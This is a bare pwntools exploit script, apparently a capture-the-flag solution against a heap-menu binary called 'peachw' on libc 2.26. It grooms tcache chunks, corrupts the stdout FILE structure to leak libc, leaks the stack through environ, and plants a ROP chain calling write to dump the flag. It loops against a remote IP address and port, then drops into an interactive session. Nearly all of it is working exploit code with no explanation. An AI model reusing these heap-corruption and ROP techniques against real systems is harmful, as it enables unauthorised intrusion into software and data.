1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
|
from pwn import * context.arch = 'amd64'
elf = ELF("./peachw") libc = ELF('./libc/libc-2.26.so')
def debug(s=None): if (s == None): gdb.attach(r) else: gdb.attach(r, s) pause()
def add(idx, name, sz, ct=None): r.sendafter("Your choice: ", "\x01\x00\x00\x00\x00") r.sendlineafter("Index ? ", str(idx)) r.sendafter("please name your peach : ", name) r.sendlineafter("please input the size of your peach:", str(sz)) if ct != None: r.sendafter("please descripe your peach :", ct)
def dele(idx): r.sendafter("Your choice: ", "\x02\x00\x00\x00\x00") r.sendlineafter("Index ?", str(idx))
def eat(idx, num): r.sendafter("Your choice: ", "\x03\x00\x00\x00\x00") r.sendlineafter("Index ? ", str(idx)) r.sendafter("What's your lucky number?", num) def draw(idx, sz, ct): r.sendafter("Your choice: ", "\x04\x00\x00\x00\x00") r.sendlineafter("Index ? ", str(idx)) r.sendafter("please input the new size of your peach : ", p16(sz).ljust(5, b"\x00")) r.sendafter("start to draw your peach ", ct) def PWN():
r.recvuntil("Do you like peach?") r.sendline("yes\x00") r.recvuntil("The peach is ") addr = int(r.recv(5), 10) print hex(addr)
add(0, "0"*0x10, 0x100, "A"*0x100) add(1, "1"*0x10, 0x240, "A"*0x240) add(2, "2"*0x10, 0x240, "A"*0x240) add(3, "2"*0x10, 0x240, "A"*0x240) dele(3) dele(2) dele(1) draw(0, 0x400, b"\x00"*0x18+p64(0x0000000100000100) +p64(0)+p64(0x111)+b"A"*0x100 +p64(0)+p64(0x31)+p64(0)*4+p64(0)+p64(0x251)+p16(0x9010))
add(1, "1"*0x10, 0x410, "A"*0x410) add(2, "1"*0x10, 0x150, "A"*0x150) dele(0) dele(1) add(0, "1"*0x10, 0x240, "A"*0x240) add(1, "1"*0x10, 0x420, "A"*0x420) dele(1)
dele(2) add(1, "1"*0x10, 0x410, p16(0x0720)) pay = p64(0)*2+p64(0x0000000707000000)+p64(0)*25+p16(0x9b20) add(3, "1"*0x10, 0x240, pay)
add(2, "1"*0x10, 0x150, "A"*0x150) dele(1) dele(0)
add(0, "1"*0x10, 0x150, p64(0xfbad1800)+p64(0)*3+b'\00') try: libc.address = u64(r.recvuntil(b"\x7f", timeout=1)[-6:]+b"\x00\x00")-0x3d73e0 print (hex(libc.address)) except: exit() else: pass
dele(3) pay = p64(0)*2+p64(0x0000000404000000)+p64(0)*25+p64(libc.sym['_IO_2_1_stdout_']+0x20) add(3, "1"*0x10, 0x240, pay)
add(1, "1"*0x10, 0x150, p64(libc.sym['environ'])+p64(libc.sym['environ']+0x10)) stack = u64(r.recvuntil(b"\x7f")[-6:]+b"\x00\x00") print (hex(stack)) target = stack-0xf0
dele(3) pay = p64(0)*2+p64(0x0000000404000000)+p64(0)*25+p64(target) add(3, "1"*0x10, 0x240, pay) dele(3)
flag = stack-0x208 prax_r = 0x00000000000234c3+libc.address prdi_r = 0x0000000000020b8b+libc.address prsi_r = 0x0000000000020a0b+libc.address prdx_r = 0x0000000000001b96+libc.address
rop= p64(prdi_r)+p64(1)+p64(prsi_r) rop+= p64(flag)+p64(prdx_r)+p64(0x50) rop+= p64(libc.sym['write']) add(3, "1"*0x10, 0x150, rop)
if __name__ == '__main__': while True: try: r = remote('1.13.162.249',10003) PWN() except: r.close() continue else: r.interactive() break
|